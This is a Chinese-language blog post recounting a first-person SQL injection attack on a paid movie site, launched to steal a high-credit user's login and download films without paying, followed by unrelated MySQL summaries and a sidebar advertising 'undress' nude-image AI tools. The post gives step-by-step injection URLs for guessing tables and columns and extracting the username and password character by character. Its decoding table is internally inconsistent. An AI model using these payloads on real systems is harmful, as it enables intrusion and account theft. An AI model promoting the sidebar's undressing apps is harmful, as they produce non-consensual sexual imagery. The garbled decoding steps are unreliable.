这几天闲得无聊,想上网Down几部电影来看,找了找都是要Money的,不爽,花时间跑去汇钱还不如找个有漏洞的黑一黑。于是,计划开始:
(为避免不必要的误会,网址、用户名、密码做了一些修改,不过方法是100%原汁原味)
1.寻找入口
准备:如果你以前没尝试过SQL注入攻击,那应该把HTTP友好提示关闭,这样才能让你清楚看到服务器端返回的提示信息。
尝试几个有传入参数的页面,逐个测试是否有SQL注入漏洞,识别方法为:把网址栏的ID=***x加个号,或在表单输入号,如果提示表达式错误,表示有漏洞可注入,另外,通过这个方式可以得到程序所用的数据库类型。
经测试,发现有几个页面有注入漏洞,决定从http://www.movie.com/movie.ASP?ID=1000入手,输入http://www.movie.com/movie.ASP?ID=1000,得到信息:数据库用是的ACCESS,提示ArticleID=1000附近有表达式错误,嘿,原来是个用文章系统改出来的电影站。
2.观察网站环境
网站提供的功能有:影片分类、影片介绍、影片搜索,影片的ID大概从1000-1500之间。
3.猜表名查清楚敌人情况之后,开始行动
行动的第一步都是从猜表名开始,http://www.movie.com/movie.ASP?ID=1000,把1000改成(select count(1) from user),那么,他原来的SQL语句将会变成:
Select [字段列表] from [影片表] where 影片ID=(select count(1) from user)
如果猜对表名,将有可能出现下面三种情况:
A.显示某部影片的信息(巧合的情况)
B.显示影片找不到(如果有判断是否为EOF)
C.提示错误信息(EOF OR BOF)
如果猜错,将会直接提示找不到表名。
把user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu这些常用表名一个个放进去试,一般成功率都不低于80%
结果,成功猜中该网站的用户名表名为users
4.猜列名
至于猜列名,不用我介绍大家都应该清楚怎么做了,把(select count(1) from users)改成(select count(id) from users),如没提示"找不到字段"就表示字段名是正确的,字段一般不用太费力,在Login的时候看看表单的名称就大概可以猜到一些了。
果然,这个网站也不例外,用户表中字段为ID(数字),UserID(文本),Password(文本),积分字段猜得比较费劲,为money
5.锁定目标
让users表只返回money最多的一个记录,以便进行猜解、并避免猜中一些没money的用户名:
http://www.movie.com/movie.ASP?ID=(select 1000 from user where money>1000) 结果:提示子查询不能返回两条以上记录
锁定>10000,提示不变;
锁定>100000,提示找不到记录,说明没有积分大于10万的用户;
从1万到10万逐步缩小范围,得知积分大于25500只有一条记录。
6.计算用户名及密码长度
因为影片的ID大概从1000-1500之间,可以用UserID的长度+1000得出的数(即影片ID)计算用户名长度,键入:
http://www.movie.com/movie.ASP?ID=(select len(UserID) %2B 1000 from user where money>25500)%2B是什么?因为地址栏的+号request出来会变成空格,所以+号要用UrlEncode过的%2B表示。结果返回片名为《双雄》的影片,呵呵,怎么办?不是有搜索功能吗?拿去搜一下,看看影片ID是多少吧。
搜索,得出影片ID是1006,显然,用户名长度为1006-1000=6;同样方法,得出密码的长度为8
7.分步破解用户名
有点SQL应用经验的人应该都想到方法了,来,敲入:
http://www.movie.com/movie.ASP?ID=(select asc(mid(UserID,1,1)) %2B 1000 from user where money>25500)
呵呵,又返回一部影片,搜索一下,影片ID为1104,即asc(mid(UserID,1,1))=104
同样方法,得出:
asc(mid(UserID,2,1))=117
asc(mid(UserID,3,1))=97
asc(mid(UserID,4,1))=106
asc(mid(UserID,5,1))=105
asc(mid(UserID,6,1))=101
因为len(UserID)=6,所以算到第6位就行了,查asc对应表(会编程的可以写几句话算出来),chr(104)=h,chr(117)=u,chr(97)=a,chr(106)=j,chr(105)=i,chr(101)=e
连起来,用户名就是huajie
8.同样的方法破解密码
asc(mid(Password,1,1))=49 => chr(49)=1
asc(mid(Password,2,1))=57 => chr(49)=9
asc(mid(Password,3,1))=55 => chr(49)=7
asc(mid(Password,4,1))=56 => chr(49)=8
asc(mid(Password,5,1))=48 => chr(49)=0
asc(mid(Password,6,1))=55 => chr(49)=7
asc(mid(Password,7,1))=55 => chr(49)=1
asc(mid(Password,8,1))=55 => chr(49)=2
拼起来:19780712,哈哈,又是用生日做密码的!
接下来,输入用户名和密码,登录系统,成功!猜表名列表之前用了30分钟,破解用了15分钟,45分钟搞掂了一个站。接下来做什么?当然是先Down几G的电影下来再说了。

MySQL is suitable for beginners to learn database skills. 1. Install MySQL server and client tools. 2. Understand basic SQL queries, such as SELECT. 3. Master data operations: create tables, insert, update, and delete data. 4. Learn advanced skills: subquery and window functions. 5. Debugging and optimization: Check syntax, use indexes, avoid SELECT*, and use LIMIT.

MySQL efficiently manages structured data through table structure and SQL query, and implements inter-table relationships through foreign keys. 1. Define the data format and type when creating a table. 2. Use foreign keys to establish relationships between tables. 3. Improve performance through indexing and query optimization. 4. Regularly backup and monitor databases to ensure data security and performance optimization.

MySQL is an open source relational database management system that is widely used in Web development. Its key features include: 1. Supports multiple storage engines, such as InnoDB and MyISAM, suitable for different scenarios; 2. Provides master-slave replication functions to facilitate load balancing and data backup; 3. Improve query efficiency through query optimization and index use.

SQL is used to interact with MySQL database to realize data addition, deletion, modification, inspection and database design. 1) SQL performs data operations through SELECT, INSERT, UPDATE, DELETE statements; 2) Use CREATE, ALTER, DROP statements for database design and management; 3) Complex queries and data analysis are implemented through SQL to improve business decision-making efficiency.

The basic operations of MySQL include creating databases, tables, and using SQL to perform CRUD operations on data. 1. Create a database: CREATEDATABASEmy_first_db; 2. Create a table: CREATETABLEbooks(idINTAUTO_INCREMENTPRIMARYKEY, titleVARCHAR(100)NOTNULL, authorVARCHAR(100)NOTNULL, published_yearINT); 3. Insert data: INSERTINTObooks(title, author, published_year)VA

The main role of MySQL in web applications is to store and manage data. 1.MySQL efficiently processes user information, product catalogs, transaction records and other data. 2. Through SQL query, developers can extract information from the database to generate dynamic content. 3.MySQL works based on the client-server model to ensure acceptable query speed.

The steps to build a MySQL database include: 1. Create a database and table, 2. Insert data, and 3. Conduct queries. First, use the CREATEDATABASE and CREATETABLE statements to create the database and table, then use the INSERTINTO statement to insert the data, and finally use the SELECT statement to query the data.

MySQL is suitable for beginners because it is easy to use and powerful. 1.MySQL is a relational database, and uses SQL for CRUD operations. 2. It is simple to install and requires the root user password to be configured. 3. Use INSERT, UPDATE, DELETE, and SELECT to perform data operations. 4. ORDERBY, WHERE and JOIN can be used for complex queries. 5. Debugging requires checking the syntax and use EXPLAIN to analyze the query. 6. Optimization suggestions include using indexes, choosing the right data type and good programming habits.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

MinGW - Minimalist GNU for Windows
This project is in the process of being migrated to osdn.net/projects/mingw, you can continue to follow us there. MinGW: A native Windows port of the GNU Compiler Collection (GCC), freely distributable import libraries and header files for building native Windows applications; includes extensions to the MSVC runtime to support C99 functionality. All MinGW software can run on 64-bit Windows platforms.

Dreamweaver CS6
Visual web development tools

WebStorm Mac version
Useful JavaScript development tools

ZendStudio 13.5.1 Mac
Powerful PHP integrated development environment

Notepad++7.3.1
Easy-to-use and free code editor